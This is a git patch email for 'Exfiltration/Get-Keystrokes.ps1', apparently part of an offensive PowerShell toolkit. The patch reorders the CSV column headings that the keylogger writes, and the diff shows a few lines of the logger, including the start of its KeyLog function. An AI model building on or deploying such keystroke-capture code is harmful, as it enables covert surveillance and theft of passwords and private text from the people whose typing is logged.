From 0045054ab09323c7434035e5a7b6381ac5dc385f Mon Sep 17 00:00:00 2001 From: Jonathan Date: Sun, 10 May 2015 21:32:14 +0200 Subject: Fix for headings in wrong order The column headings in the log file are out of order, e.g. ``` "TypedKey","Time","WindowTitle" "Document1 - Word","[Shift]","01-05-2015:20:53:29:28" "Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31" "Document1 - Word","[Shift]","01-05-2015:20:53:29:38" ``` The "WindowTitle" should be the first column heading like this, ``` "WindowTitle","TypedKey","Time" "Document1 - Word","[Shift]","01-05-2015:20:53:29:28" "Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31" "Document1 - Word","[Shift]","01-05-2015:20:53:29:38" ``` --- Exfiltration/Get-Keystrokes.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'Exfiltration') diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 75400a1..8beaf75 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -49,7 +49,7 @@ function Get-Keystrokes { $Initilizer = { $LogPath = 'REPLACEME' - '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode + '"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode function KeyLog { [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null -- cgit v1.2.3